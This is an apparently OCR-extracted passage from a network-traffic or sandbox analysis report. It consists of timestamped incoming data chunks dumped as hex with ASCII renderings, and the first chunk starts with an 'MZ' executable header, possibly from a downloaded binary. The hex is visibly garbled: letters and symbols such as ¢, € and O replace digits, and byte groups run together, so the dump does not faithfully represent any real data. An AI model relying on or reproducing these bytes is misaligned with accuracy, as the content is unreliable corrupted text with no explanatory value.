Oc 5b d9 69 fd 3f 4a 81 b1 1b 52 8¢ 5¢ 57 6d 97 e6 7d 64 7 65 71 fd 03 43 df c2 21 e5 8b 12 44 0a a6 1f b3 03 3e d6 43
b8 4c e4 62 22 b9 92 c¢7 95 b1 9b b8 75 29 3e fd b7 bd e3 1b 68 fe 8f Ob 3a b3 39 35 d8 6e d5 b8 1e fO bf 49 97 88 90 ff fe
ba a0 3a 6a 9d 6a 1c 5b 4f 2e 57 d6 8c f8 46 €0 a4 12 e9 1f a7 63 cc ef 29 ¢5 4b 93 8d 96 2b ¢8 94 87 48 ac b2 14 18 dc
62 c9 a2 51 b9 8c 7a 5f 6a cc 03 72 8f 89 d1 90 04 c8 af 5b 99 2f 98 a6 82 b8 d6 a3 6¢ 3d 50 bf ce 7d f3 57 ec a6 4d b0 65
ab 09 c9 21 46 67 47 3e c7 b3 b0 7e 86 2b d4 86 3a 8e 17 35 04 Oe ef 5e d4 ef 40 ¢3 {7 35 1c 02 60 dO 16 c9 ba 45 90 bf
06 be df c7 ea 7b ce 34 af b6 e6 66 82 4b 1a 29 56
Data Ascii: MZKqUKWNL; W' (Snn+.[i?JR\Wm}deqC!D>CLb"u)>h:95nl:jj[O.WFc)K+HbQz_jr[/I=P}WMe!FgG>~+:5"@5"
E{4fK)V

2021-12-20 13:26:00 UTC 40 IN Data Raw: b1 d2 5c ac 17 a3 71 48 93 29 62 34 12 f4 1d 92 28 51 80 cb 27 77 el 9d 8a ec b7 87 f8 df 6e b7 99 71 16 f4 8f
f3 e6 76 db 70 4f b3 12 53 de ef 8d 66 6f Ob 35 66 87 b4 €8 04 6e 94 7a 3b el 7c fO fa cf 8¢c 97 22 58 22 87 a6 69 ad 96 da
22 ec 38 44 d4 b2 62 99 a9 41 ed 30 85 96 5f a8 20 4d 20 62 e2 1b 8f a8 30 95 66 1e 57 4b 3a f6 66 8f cc 99 1d 30 a9 28
a7 a7 19 8d ce el 80 4b 8b 50 01 88 ca 09 ef cc d8 11 3d b5 f5 7d 3a Of cf 78 6b 38 ca 96 5b cd a2 be e8 51 7e df 7e 1b
89 77 e4 a6 7c b4 80 1b e7 ff 7b ed 73 09 d7 f5 aa 82 43 58 b5 3b ff 7c 37 dc 8a 2b 6f de b2 28 9c 05 2 56 eb 11 c3 ea af
06 28 le ef d0 91 05 6¢ a4 c8 cb 24 bd b1 88 c8 bd €8 25 b3 13 31 01 4a ch 5a 48 d4 3e 06 4a 14 7c f7 60 10 26 d8 5b c9
d5 fe 4f c4 19 8a 21 93 bb a2 €9 32 ¢9 10 2e cb
Data Ascii: \qH)b4(Q'wngvpOSfo5fnz;|"X"i"8DbA0_ M bOfWK:fO(KP=}:xk8[Q~~w|{sCX;|7+o(V(1$%1IZH>J| &[O!2.
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 42 IN Data Raw: f3 b5 ¢7 7e 70 71 27 1e 1d 8c 9c 1c 80 fb 89 €9 fd a3 ce 06 87 d1 b0 d1 2b 99 d1 85 47 5f c1 14 0a 07 54 e2 1c
eb fe ea df 4c 30 85 15 bd 6¢ 8f 5¢ 97 b7 00 df 3c 66 fa f0 96 5b 0a Oe 97 9d b9 bb a5 54 b6 23 77 ec bc 67 e6 a8 8e a6 e3
76 b0 57 53 fd 1c b4 13 ba 85 f3 6¢ d4 2c 01 e2 bd df ¢9 37 23 a2 40 c2 3b 38 8d 89 f8 03 3a 24 0f 6f 82 9c 92 20 7c 8a 8b
al f6 63 5d cc 91 c9 e7 9d d3 aa 54 55 e6 ac cb 89 72 ec c4 d6 48 12 88 07 38 86 c5 b6 Oe a3 1d 5b 65 79 03 26 08 57 68
358a40 d1 af ea 07 b1 9d 82 Oc 95 1c 78 a7 c7 2b e8 a7 Oe 42 e8 00 df 79 94 3 f6 c5 f2 d3 18 72 61 72 7c 21 f4 7d 82 8¢
3e 1c 15 32 54 69 f0 Ob 34 b2 42 7a 82 7c 6e 2f 67 9b 49 89 82 15 29 1a b7 cb 26 b9 35 86 3d bf 49 62 ff 1d e0 c2 d3 6b
76 66 fa bd af 2a 78 5d 11 03 01 Oc bb c1 88
Data Ascii: ~pg'+G_TLON<f[T#wgvWSI,7#@;8:$0 |c]TUrH8[ey&Wh5@x+Byrar|!}>2Ti4Bz|n/gl)&5=Ibkvf*x]

2021-12-20 13:26:00 UTC 43 IN Data Raw: d5 a0 f6 d8 6d 7e fe b2 9f 88 41 52 f1 c7 23 a0 45 c5 79 da 5b 40 c4 4 ca bf 46 6b 2c 38 14 61 71 60 e2 22 8¢
32 d1 09 98 6b 74 3a 9e f2 f5 5b 01 57 ee c1 fO 76 fc 76 88 4d 6f 7a e4 28 e8 80 f7 84 91 48 41 1e f3 e2 c0 06 21 4f {6 cO
62 2a 5f 22 dc 11 31 b2 ea 63 46 b2 16 a4 49 86 94 23 af 5f 18 9b 78 4c 70 e9 bc 67 dc 2c f0 fO c8 Ob be 61 bc 8¢ 98 c3 ca
44 8f 2b 01 fd 1a f9 b5 2d 7a 84 21 06 09 40 75 37 2a 82 cb 80 d0 8c ea 93 53 29 af 25 67 aa 91 0a f2 0d al 4f c7 82 7b
89 c9 faf5 21 2f ad 52 6a fb 59 a7 d5 50 ff 74 da 54 d1 f1 28 f6 b1 a6 01 49 cf 2a 00 df dd 2b c4 25 87 53 23 98 66 c1 19
€3 4d 66 ac 5¢c 44 Oc c1 9d 71 b2 77 11 49 1d 1f 6d 80 54 9a €9 52 76 44 5¢ 38 a0 c7 1b 1fd1 39 d8 e4 a5 27 ec 1c 8b 62
4a54 78 eb 4f 13 db fd 61 c8 38 Oc 55 ee 33
Data Ascii: m~AR#Ey[@Fk,8aq "2kt:[WvvMoz(HA!Ob*_"1cFl#_xLpg,aD+-z!@u7*S)%gO{!/RjYPtT(I*+%S#MADgwIm
TRvD\89'hJTx0a8U3

2021-12-20 13:26:00 UTC 44 IN Data Raw: 37 fa 84 77 8¢ 42 2a 78 ¢5 89 25 al a3 ¢8 91 8e 11 6a 4c f7 57 31 1d e4 ea 35 4b 0a 31 1c 7e 63 5f 2a 47 f4 f4
2a 45 d8 4a 3c 78 b0 cd f9 b2 e5 ee a6 4f cO 0d al 1f 3b 40 3d 63 75 34 64 cc 4c 6e ae 78 4b 24 7f f4 1c f3 17 58 f1 83 9f
0352 ed a6 71 17 1d 28 d3 03 78 51 96 7 18 55 20 f8 da c6 16 3e aa 95 de a4 8b 1f 22 cb 4a 35 a4 fe 87 db 9c 02 8b 36
88 95 cd 15 24 2e 82 ad Ob dc 9a 1e 98 b8 18 2e 83 9d d2 2f 93 2f a4 d4 e5 11 a9 11 b4 56 89 90 37 5f d8 ea 32 aa 88 cO
ce c9 7a 38 2d fc be bd 5b ce a6 d1 51 eb f1 44 8f 34 52 4d f9 ae dd 12 43 Oe bc ca 85 08 eb 42 67 7a df 33 1a 34 df 89 74
€9 20 e8 ec b8 c0 15 31 df 0a d7 ef 3b 53 4e a2 16 57 bc 24 9e ba cd ac 3e f8 e7 f3 36 b4 1b f8 e2 b3 bd 88 ac 1a b0 10
€0 06 €9 3 82 3f 3f d2 35 ¢3 94 43 70 d8 c5 a7
Data Ascii: 7wB*x%jLW15K1~c_*G*EJ<xO;@=cu4dLnxK$XRq(XxQU >"J56%..//V7_2z8-[QD4ARMCBgz34t 1;SNW$>6??5Cp

2021-12-20 13:26:00 UTC 45 IN Data Raw: 6¢ 27 5c¢ 3f 8d 3b 55 d5 88 e5 60 02 47 32 b7 66 85 23 67 c8 78 3a 6e a0 db 3a c4 ec c3 3b 34 ae 37 bf 7d db
06 15 38 dc €9 84 d6 b8 57 25 eb d1 07 89 5a 60 c8 eb 7d d5 fb 1c 50 48 el 17 7a 04 1c 89 4e 6e 1f 99 20 c1 5d 61 2e 8d
13d6 e0 75 33 8e 4a fa 1e 39 23 17 7a a5 c5 c4 2b 21 6d cf 19 7c 5d ce 59 36 c1 4c b5 2f 9e 71 b3 1c c6 5f 6e d8 80 54
€023 22 7ca9 98 30 al 38 ad ef 60 21 5¢c aa 72 a3 d5 15 7b 2b 51 Ob fe b8 80 c0 dc 8f 15 8f 30 1c 44 ad 79 c2 75 97 19
5f da 2a 54 69 9a 4d 72 32 67 06 bb e8 36 dO ff dc f4 88 8b 70 61 68 71 9c el 6e 10 Oc 8d 2d 6f 99 6e 0d b8 cd 8d 1la a7
ed e2 ee cf 26 5a f5 c4 4e e4 80 a0 0d Of 84 f9 43 b8 6¢ f1 5e 6e fd 43 4c 5a 69 12 37 e3 9f 01 22 f6 27 37 ec 80 47 da 11
f4 b1 53 b7 59 ea fc 62 09 b0 f3 52 28 56 7a 72 ad 66
Data Ascii: I'\'?;U"G2f#gx:n:;47}8W%Z }PHzNn Ja.u3J9#z+!m|]Y6L/q_nT#"|08 \r{+QODyu_*TiMr2gépahqn-on&ZNCI"nCLZi
7"7TGSYbR(Vzrf

2021-12-20 13:26:00 UTC 47 IN Data Raw: 7c 4d ed cf 8e af f7 b2 3d 85 e3 08 30 cf aa 01 dO 44 1f b9 28 80 36 f4 56 f9 c4 57 b9 6e a8 56 25 6b 6e 76 f8
a5 bf 2a 58 4d 13 6f 76 03 67 c9 €9 60 eb 31 23 55 60 45 b4 fa 42 a0 8¢c 57 d1 a9 62 a6 07 0d 62 bf 47 5d c4 17 e9 de 00
83 1a 90 16 cb b3 bb ae ea 42 37 bd c4 da f9 6e 63 cf 38 40 c5 78 09 88 2e 2d 4f 12 ff 15 00 60 01 5e e9 a9 55 37 51 55
a8 e2 11238bcl94c9e83e 7b90e7 fe d7 f7 Oe 27 54 66 52 e4 €9 a3 ae 35 71 86 4a d5 68 32 95 84 dd 97 5d a2 44 23
56 fd f6 89 73 92 9c 98 4c 28 b8 dd 84 92 c0 86 65 1d 03 67 9f c1 4c €9 93 al 47 a6 35 3c Oc 85 47 0f 65 93 f9 5e 7f cO b2
6b e7 92 59 f9 52 bf 0a aa d1 e7 6d 18 71 b9 b3 0a ca c0 02 7d 28 a6 26 7c a9 de 11 2f 3a 9a 23 3e 22 44 c2 €9 d0 52 00
ea 5e 2¢ 97 6b 4a 4c 50 21 79 ed 03 49 48 aa fa f8
Data Ascii: [M=0D(6VWnV%knv*XMovg 1#U EBWbbG]B7nc8@x.-O""U7QU#>{'TfR5qJh2]D#VsL (egLG5<Ge kYRma}(&|/:
#>"DRM KJILPlyIH

2021-12-20 13:26:00 UTC 48 IN Data Raw: 4d b3 2f Oe a3 fc 9d 07 27 65 d6 2c f8 36 67 c3 27 bf 64 42 ba 68 b5 b6 3e f1 08 ee 62 21 64 af f1 5d 39 77 fe
7050 6a 74 fd 15 b2 9f e6 bb 03 7f ff 98 97 1f e6 2e 03 5¢ 96 11 bb 3 d5 5¢ f5 12 38 9b 82 62 63 cb d3 8f 22 37 c0 Oc {7
a4 62 ¢c5 98 45 0c 35 13 8b d3 bf 38 76 db c5 33 8c 5f 8f 47 cf 4e b2 ec 03 87 7b a2 50 Oe 84 d0 f7 e3 34 a3 61 78 4a 39
a6 e0 54 1d 02 ec eb ab 83 99 33 2¢ 92 3f de ec d0 d2 59 d9 bf 64 35 f5 el 73 e2 53 40 3e 5e 73 ad 8e 5a 8e 84 f7 80 ca
30 76 72 07 f9 40 bf 74 ac al 23 4c 04 bb 47 b8 4d e5 01 6d cd 82 4f 8a c5 63 24 9f 08 4c 86 95 cb 99 37 62 05 82 42 c5
77 af 23 96 ee 24 94 cb 52 89 ¢1 58 b3 77 15 77 36 21 73 1c ec el 37 6f d9 17 15 09 37 85 {7 fa 58 21 02 15 f4 20 5b e3
09 76 1e cl 7c bf b6 f0O ce f0 25 63 ae a8 9c af 42
Data Ascii: M/'e,6g'dBh>b!d]9wpPijt.\\8bc"7bE58v3_GN{P4axJ9T3,?Yd5sS@>"sZOvr@t#LGMmOC$SL7bBW#SRXWw6!S7
07X! [v|%cB

2021-12-20 13:26:00 UTC 49 IN Data Raw: 4b 53 a4 74 c7 el ca 9e e9 8e d6 bc 2c 8a d4 d8 05 31 7b 19 86 50 f7 a4 31 80 45 62 91 05 78 42 ed 37 €9 22
7e e7 43 f1.d0 b9 30 44 34 48 aa db 09 Ob b5 ac 96 a8 03 8e 2a bf 38 d5 08 43 b2 28 33 50 f8 09 b6 34 28 9e f5 b4 9f c9
5400 7d e3 9c ef f1 Oc d6 ae 67 6¢ e7 68 8f 95 b3 6b 76 3e c9 e4 f0 22 e0 34 72 16 88 9b cc 69 eb f9 cd 5 35 92 d9 7e
38d1 ba 6¢ 22 67 ec 3b b9 5e 2f 63 68 75 Oc el 55 95 f9 aa 29 84 10 f2 44 4c¢ 11 d4 bc 99 81 02 01 d7 c5 b2 6b 02 21 fc
6e 52 ef 69 c5 37 a0 30 1b e9 f6 ed 42 Oc 02 52 41 66 b3 aa 78 7f 8a 16 e1 80 9e 95 05 92 3d 1b bf b5 9f 8d 7b c1 1e 72
dada 21 9c 94 3d 38 c0 92 8e ce b8 7a ec da 87 f0 f4 70 01 ff 3a ac 47 b8 6¢ 5a 15 74 ed 4a bd 01 5e el f4 ef 5b ee 4f {6
bc e6 62 40 3c 40 1f ¢4 10 d6 b0 1b 3e 3b 14 6¢ 8f bc
Data Ascii: KSt,1{P1EbxB7"~COD4H*8C(3P4(T}glhkv>"4ri5~8I"g;*/chuU)DLK!NRi70BRAfX={r'=8zp:GIZtINOb@<@>;|

2021-12-20 13:26:00 UTC 50 IN Data Raw: be 1e 14 b7 c3 27 4e 7a 58 75 c9 87 23 24 22 35 fd 71 44 e5 57 56 6a 8f b2 7a 6 e6 2e 1d b0 56 69 13 4b c9
0d cb 99 1a c3 1d 67 c9 Oe 76 4f 63 ae 53 4a b3 ce ¢5 1d cc 23 a9 d1 a9 b2 9d 42 ff e7 98 bc e4 e4 a3 b2 73 65 34 81 9e
97 77 5¢ 4e f9 06 bc 98 85 d3 86 73 0a 13 dc 72 81 38 ed 35 b9 c0 69 ce aa Ob 63 1e da c6 1b a4 77 ed c9 ae 6d bc ae 5f
¢4 7b 19 98 41 16 6e d6 fO cO a4 bb bf 6e 1f ee 9a 40 49 e0 1a 37 43 1f fd df €6 99 3a 00 0d 6b 9d Of c4 cd 2c 7e f1 83 44
01 10 e5 a4 Oa df 47 8d 84 86 49 Oc 24 €6 81 5c eb €3 40 0d 7f 76 49 16 43 fb 78 8a 8f e7 1d 50 5 6e 88 b4 00 d6 b5 5f Of
1la 5e 8b f9 aa fc b7 30 88 7e fa 74 8a af cO fa 28 b6 a4 26 €8 ca 59 46 27 3a 17 a6 bc 57 fe f9 32 20 1b el 50 55 83 45 d1
b2 06 7f 57 be eb eb 65 3d 2d 01 23 f7 16 58 bl
Data Ascii: 'NzXu#$"5qDWV;jz.ViKgvOcSJ#Bse4w\Nsr85icwm_{Ann@17C:k,~DGI$\@vICxPn_"0~t(&YF:W2 PUEWe=-#X

2021-12-20 13:26:00 UTC 51 IN Data Raw: fO0 77 41 78 1a 13 6¢ 85 26 fO 1e af 8c bd cc db 61 7d 1a b6 5f 64 2d 29 27 5a a0 e3 74 9c a9 42 8b 1a 77 15 4f
2a 1b f7 38 98 de fc f4 b2 ff ca c2 e2 32 83 ¢3 96 13 30 66 3c 26 fe 16 94 36 84 e0 c6 4f 82 d9 99 72 e6 21 17 27 a6 5a d9
a5 27 05 73 64 03 d8 f9 d2 44 fc 66 8a fa Oc 28 6a e5 c2 4e e4 d0 c3 d1 fb 7e 06 3f f1 e0 71 55 9a 87 3¢ 39 4e e4 b7 c9 81
99 03 70 a6 9d 47 90 62 bc a6 2a ac 52 1a 57 f3 9c 86 69 1a 8c 0d 3b d6 3f 7e 73 fd 25 33 f3 91 08 Ob bl b4 3f 37 04 6e
d7 b0 76 ac d5 a3 54 94 64 b8 01 e8 49 ff 31 9d d4 d2 d5 83 2e d4 91 58 59 03 55 b7 38 35 30 a5 5f 2d 0d a5 af 23 46 al
71396 a7 c4 d7 2f 07 al dd 71 6¢ 98 77 7d da d9 ba 2a ae 83 4c d9 a2 {7 df 8e 2e 29 93 1d 19 fb 2d a4 82 69 45 fd d4
9f 4b 65 30 fe b4 83 79 3 f9 9a 24 ab b3 f4 9a
Data Ascii: wAXI&a}_d-)'ZtBwO*820f<&60r!"'Z'sdDf(jN~?qU<INpGb*RWi;?~s%3?7nvTdI1.XYU850_-#Fq/qlw}*L.)-iEKeOy$
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kBytes
Timestamp transferred Direction Data

2021-12-20 13:26:00 UTC 53 IN Data Raw: 72 2c 96 f3 ea af 8a db d0 7e ed 42 d1 36 2d 2a 32 28 63 95 bc d5 1d bd 4b 51 6c 1f ee 99 70 28 3f f7 34 43 d3
dc 8e 66 c8 b7 de fe 50 de 99 ae c¢7 d6 3b 05 17 ba f1 53 c0 c8 f5 20 d2 d3 09 61 49 37 5e 69 2c f5 fc e6 a3 95 80 32 08
72 eb 6e 86 75 1a 86 el 68 8f 7c 78 19 17 cd 5d 19 0f 5e 1f f3 8b d1 46 de cc 1b 81 6d 67 e2 8f 23 76 d7 5d a0 6b 90 dd
138 cf 63 72 23 58 c1 00 8b de 8 96 71 50 55 16 1e d0 Oc 2f b3 4b be 99 14 81 4c 47 fe 8d e0 ec f8 3c d7 09 ec 6¢ 7d
92 0f 27 b9 b8 32 d9 44 08 15 5d 96 9a e0 f8 a3 1a 95 38 1e 7f 44 38 10 2a 6b f3 39 ad cf 06 76 d4 e9 23 8c bf cf 44 68 c2
4c ed ce e5 1d 41 41 17 2d 45 27 ac 40 88 77 b2 2f 64 2f 8d 72 c6 95 76 €3 32 01 a2 4c 5d 57 d5 c5 7a eb c0 dd e7 92 62
e7 6b de 1c fd 42 el f2 56 5e d2 03 80 dc 36 29 cc
Data Ascii: r,~B6-*2(cKQIp(?4CfP;S al7”i,2rnuh|x]"Fmg#v]kcr#XqPU/KLG<I}'2D]8D8*k9v#DhLAA-E'@w/d/rv2L
JWzbkBV/6)

2021-12-20 13:26:00 UTC 54 IN Data Raw: 85 bc c0 bb 21 b4 cf 61 Oc c¢3 8b 1f ad 44 e5 f9 99 c4 67 3e 28 ba 69 62 54 95 Oe a4 d7 b0 32 34 44 cf cf 6¢ f5
3a 1f 28 3e 2e b4 e8 aa 80 67 47 08 cc 7f 63 9f 7a b4 3f 78 f5 a0 c9 d5 42 c1 a7 da 9f a3 ba 23 fe 8a 4f 62 3a 7d 24 3e 59
9f 30 80 79 6a 92 cf 56 34 14 6 3a 06 b1 e7 49 c4 e8 fc 30 35 6b fb dc 29 7c 94 5e fa 63 fa f3 c6 ff 6f 33 bf 91 ba bb a5 37
b2 3d 05 a7 f1 2e 36 92 e0 2f 25 46 2f 91 53 30 da 34 42 cf 7d 70 f9 c¢7 75 65 c2 3f 20 36 7b 8 fa 64 c2 3b 68 26 4f 97 00
le 87 6e 8f Ob 17 6b 41 b8 ff fa f2 c7 ab f9 ¢7 6a c9 2c c5 dc 16 c9 b1l 72 53 5e 48 e8 b9 al fb 02 ce 34 76 8a 5b 31 Ob 8f
3e 2b e6 a3 7c¢ 83 97 bc 8¢ 33 b8 f9 6f 00 24 58 24 04 96 01 d0 20 99 06 33 5a f9 28 Oe 78 c6 93 ea fc 91 a6 2f c1 50 d9
54 ef fb 7c ec 7 06 Oc 27 24 47 92 e8
Data Ascii: laDg>(ibT24DI:(>.gGcz?xB#0b:}$>YO0yjV4:105k)|*c0o37=.6/%F/S04B}pue? 6{d;h&OnkAj,rS"H4v[1>+|30$X$ 3Z(
X/PT|'$G

2021-12-20 13:26:00 UTC 55 IN Data Raw: 64 32 3d 31 5a 47 4e 61 17 dO 2d 3a 84 86 37 a9 27 fd 1c e3 66 ab 01 03 62 ad 96 64 86 55 83 eb 04 9a 57 17
5056 69 f9 d2 3e 2d 01 2e a7 12 aa bl 92 5f e1 f9 c0 ed 1a 53 03 37 a5 66 99 c0 4c 52 61 92 b7 7 91 ef 9b 4f 67 34 19
d0 0d a8 7f 72 dd 92 9f 8d fO 73 32 a8 02 86 56 44 94 19 b2 49 46 17 ca ce 51 9f 28 7d 09 f3 f8 76 a6 08 2f ba a4 68 49 26
3d 1d 99 6f 1b 9e 3b 24 ff bd 2d b0 82 b9 96 66 1f 62 71 85 de 9d ac 9c 86 f2 56 82 Ob c2 4 cf d3 5b 19 a9 3d 8f 4c 36 d2
d4 e5 55 49 8e 88 4b 86 0f a7 b5 el c5 b4 04 cf 6b 4d ee 8e 0a 4a d2 50 d6 9e 94 45 90 41 71 d5 fd 8b cO f6 ef ec 9d f5
66 5c da 27 80 d1 52 b7 ea Oc da f1 bd d6 fe Of 40 8b 1e e8 a5 e4 7d 3a a6 93 b0 31 9b 4c 8e e9 a8 ce €9 ce 88 c3 64 d5
17 d1 1e d8 f8 a4 26 30 4c 78 25 48 89 bd 9b 97 0d
Data Ascii: d2=1ZGNa-:7'fobdUWPVi>-._S7fLRaOg4rs2VDIFQ(}v/h1&=0;$-fbqV[=L6UIKKMIPEAG\'R@}: 1Ld&OLXx%H

2021-12-20 13:26:00 UTC 56 IN Data Raw: 63 10 16 f8 63 ¢9 77 1e dc 01 ed al 93 9f 43 5a df 66 20 5 dc 8b ¢7 0d 71 63 90 02 2b 3b 12 ab 33 51 aa 9b cf
7d fb 15 d4 29 8d ¢5 11 70 60 18 df e2 68 c2 08 f1 24 49 ff 00 4f 81 Ob af 8c ea 94 d4 d6 6e f7 02 25 40 85 c7 6a 42 ba 07
59 9b 31 1c e7 ac dc 8c 6¢ ee 49 e9 f9 96 3f 1c b7 67 b9 1e Oa 9b ed cb f5 94 el b9 03 23 d2 3e 37 60 8d bl ca d9 91 69
03 d120 10 a8 cc a5 1e 93 a0 Oc 7c d8 52 ba e9 7f 2f 4a 67 21 58 ef fb 46 86 7a fb e0 da 73 af a8 1c cc 8f 6d 56 Oa {7 33
ch 4e c7 83 08 56 5c 4e c2 63 8a 36 05 18 1c b5 cb 52 7f 0d 4f f8 41 46 06 e4 92 9b 57 d1 e2 33 f4 f8 6¢ 12 5b 8 5e 65 98
Oa 71 1f 9a ab c0 9f 61 ae 5b 5¢ b0 ce c5 1c cc 8b 8¢ d1 a9 bc c6 7e 3f ef f2 d7 08 48 42 4d df 82 62 9c 1d 53 15 0d a9 6f
b9 14 8f 0f 52 91 26 75 86 24 02 fa 82 53
Data Ascii: ccwCZf qc+;3Q})p h$10n%@jBY 11?g#>7"i |R/JIgIXFzsmV3NV\NC6ROAFW3I[*eqa[\~?HBMbSoR&u$S

2021-12-20 13:26:00 UTC 58 IN Data Raw: 23 17 1b f9 f8 89 25 e4 c7 32 cf 68 2f 86 3b 6b €7 31 29 54 b3 a2 51 6b 34 c4 f6 c0 al ae 1b 3c 46 57 dO 3f b5
24 07 f2 56 e4 4d 34 f9 91 a5 65 35 01 6d c2 ad 39 2f 74 a0 3f e4 e6 bb 8b 13 da fO fe 2a 92 db 62 46 2e 6a 90 8d d7 4a
d2 b1 91 6d cd bb cd 3b c¢9 87 fO ce 6¢ c0 9a c5 e2 b5 29 af 51 31 67 9c ¢8 11 58 4e 98 bd 95 31 c2 89 ba 36 da c4 ad a2
ed 4f 2b d6 10 36 45 fe f3 31 44 Oe 81 26 06 26 3a 8e c9 d6 ef a5 e2 63 de ee 82 68 cc a4 f3 3e 8¢ 83 80 73 00 c9 ab 4c
6e 34 49 b7 9b 11 4b da 9a ee 3a 53 67 ea 56 73 aa 68 09 €8 38 67 24 ca ba 9c 12 33 f4 48 f5 ¢3 9d 41 db b1 ed d6 1d 6e
5f 5d f7 2a 55 22 22 09 8c 65 41 18 27 fd 33 4c c3 9a dc e5 5d af 5¢ 66 1e cl 5f 84 4a 59 2f df 1b 69 79 77 d0 el 9e 46 5¢
65 52 a9 dd 96 8a 7c dd d2 ac d5 d2 07 b3 8f 6f c7
Data Ascii: #%2h/;k1) TQk4<FW?$VM4e5m9/t?*bF.jIm;|)Q1gXN160+6E1D&&:ch>sLn4IK:SgVsh8g$3HAN_[*U™"eA'3L]
\f_JY/iywF\eR|o

2021-12-20 13:26:00 UTC 59 IN Data Raw: bc 74 54 94 df 38 3e 5d 9c d0 17 f2 79 ad 6e 50 3e 4d 18 72 fa 7e 7e €3 bf 92 2b b9 9e 07 66 4a ae a6 ce 7f 58
ef ac 1f 46 9f 6a Oe 76 73 ff 43 18 b2 37 6a 54 a4 6e e8 c3 3b c2 81 08 41 a7 6a 90 b9 01 4b 80 ff 95 1f dc 3d 49 36 f4 f9
€395 36 0c 53 21 Ob 5a a2 1b 1f e4 08 aa 5c fa f3 ca a5 e2 8b 04 c9 fe 43 5b 19 45 55 19 bd cc c5 b2 24 df 51 e2 69 6e
d2 b7 c¢8 2c 7f 32 fc b4 bd b2 df 3b 45 Oc el 53 7f 0d ¢3 84 25 8¢ 67 7a 0a 33 c9 7b d7 d8 72 91 38 f1 36 b9 c0 63 5f 56 0d
74 01 d9 4c d8 a9 01 02 45 54 12 16 6f a7 3a 11 30 98 43 75 00 01 2a b2 b3 02 5b 1b ad €9 c¢7 a0 71 eb a5 9f 54 09 e3 b5
80 43 ¢2 59 08 9c 51 d8 54 30 89 8e 80 8d 46 01 28 30 20 8a ee b8 dd 09 b8 49 c9 fO 1b eb 53 €9 73 bf 38 29 59 b1 a9 bc
04 04 3c 9f 03 c6 e2 1d 2f 2a 5f 8b cf e6 73 0d
Data Ascii: tT8>]ynP>Mr~~+fJXFjvsC7jTn;AjK=166S!Z\C[EU$QIn,2;ES%gz3{r86c_VtLET0:0CU*[qTCYQTOF(0 ISs8)Y</*_s

2021-12-20 13:26:00 UTC 60 IN Data Raw: f6 76 4f 1d 09 4c f5 36 be bf 1e e8 28 16 2a 57 cc ac 6d eb a5 4c a0 9f 44 Oe 86 08 0d fO c5 71 b5 12 17 8e e5
17 f9 e8 52 f8 59 5b 66 54 e6 d1 e5 a6 3f 9b c1 c1 b3 Oe 71 0d 88 9d Oc c6 cb 79 f2 5 69 02 db b2 bd 64 36 fe 6a b7 b7 5f
3239 8f f2 a2 a0 60 b0 b5 c2 26 65 €5 87 12 ad 03 9e 37 b4 62 50 fc fb 36 68 c4 4f b7 45 af b3 96 1e b4 74 b0 a3 Oa 6e
15 d5 d4 85 43 14 d2 8f 71 e2 56 01 17 ab e6 b8 5¢ 65 52 ed e6 4a 8e 73 59 26 44 fc 66 84 cd 24 ab d8 99 d3 bl 1b d1 cb
2a 2b 85 f6 44 9¢c 64 74 al e2 06 f3 4c 55 ed 7 e5 8b 99 80 5¢ ¢2 75 b5 ed ae bc 25 ee ce e8 57 a7 94 ee fc 62 8b 73 a2
95 ad 12 81 8c 52 66 33 64 bc 08 Ob b7 3e 9e 85 0f cO d5 b6 25 44 00 fc c1 60 12 d2 d2 45 dc 01 30 40 dd 26 2e a6 cb 14
ed 63 fe 42 89 46 59 b1 b3 79 09 c5 85 1d 84 72 f5
Data Ascii: VOL6(*WmLDgRY[fT?qyid6j_29 &e7bP6hOEtnCqV\eRJIsY&Df$*+DdtLU\u%WhbsRf3d>%D E0@&.CBFYyr

2021-12-20 13:26:00 UTC 61 IN Data Raw: a3 11 23 d6 4f 4b b8 b2 0d 04 aa 56 58 f4 c1 60 Oc 89 €0 76 33 Oc 49 42 c6 19 Oe 7d b6 e2 00 15 09 4e 21 la
130d 60 d3 38 31 37 bl dc ff 86 b9 19 f2 1b cf 9f 64 25 dd f3 4f 25 c6 22 71 ea 75 7b 68 Oc 39 41 d1 36 Of 0a 98 24 10 1b
d8 2a b2 cf 97 03 c6 08 a5 03 €9 5e 39 33 d8 37 b9 50 4a 7f 37 e5 03 63 7c f5 5d a2 cf 2e 7b Oe 7d bb 75 59 14 ¢3 f5 20
d0 22 7b f4 49 9b fO 1b eb 7b ee 73 bf 38 2c e7 24 c1 2a 04 87 7b 4b a6 96 12 2c eb 88 b4 af ed 5d 9a ce dd db 74 c2 5d
5c 80 6b 6f 9b 60 f2 60 5 4d 04 2d 2d d2 94 3f 73 64 34 23 c7 65 dc b0 af c3 06 62 26 13 e9 50 55 83 7e a7 d7 52 90 55
be 99 2c d1 97 3a b0 bd €0 ec 21 34 9e fc 43 c5 16 a2 ea €3 85 34 72 49 c0 ¢8 1a 50 91 c2 1d 07 d1 ae Ob 10 e6 80 15 a4
14 49 e58b 31 6d 9f e7 c2 01 67 47 73 cd a5 14 c5 6b
Data Ascii: #OKVX V3IBIN!'817d%0%"qu{h9A6$**937PJ7c[].{uY "{I{s8,$*{K,]t]\ko " M--?sd4#eb&PU~RU,:14C4rlPI1mgGs
k

2021-12-20 13:26:00 UTC 63 IN Data Raw: f3 c5 4f b7 4d 86 8f 69 c3 bb be 34 78 7e 91 e0 8e f4 e0 c7 76 d2 dc 8e bl ab e5 1b 21 a2 33 37 ee 1f 92 c8 e3
db 8c 54 97 b0 75 23 ff el 81 ee 33 94 74 5d 90 9e 54 04 8e f0 11 3f ad e7 b0 ad e4 b8 b6 Ob d1 3c d9 6e ce 6d 51 72 a0
9d 69 d5 62 bc ae a3 5¢ bd da af ec d5 51 cb 27 77 ¢3 53 c0 fe be 73 ad ed dc ec 36 00 5b 50 b3 d8 7a a6 6e 57 3f 6b ac
d5 a5 96 74 cc b8 2¢ 39 e7 ce 3d 93 3a 3b 7d 4e 2e 8f 99 79 20 45 ff ¢3 14 fb f3 a5 5f 2d Ob b5 af 23 4e 6a f2 c9 c0 c5 6e
8c ce e2 aa4c 12 3e d6 21 95 2a cd 9a 75 73 74 84 01 54 06 82 39 94 {7 4d el fO Oc bf a6 82 3b 41 fd 6b 5e cb 8a 42 fa
18 db fc 23 dd 48 f5 48 3e f0 66 08 Oe 05 7e c4 41 45 3b 45 b1 d0 41 7f 82 70 1e 42 e0 6f 34 d2 2f a8 ac 04 6a 42 39 a5
d8 7c c8 8b 02 05 dc 54 05 ee 49 e9 22 c6 b7 d8 b3
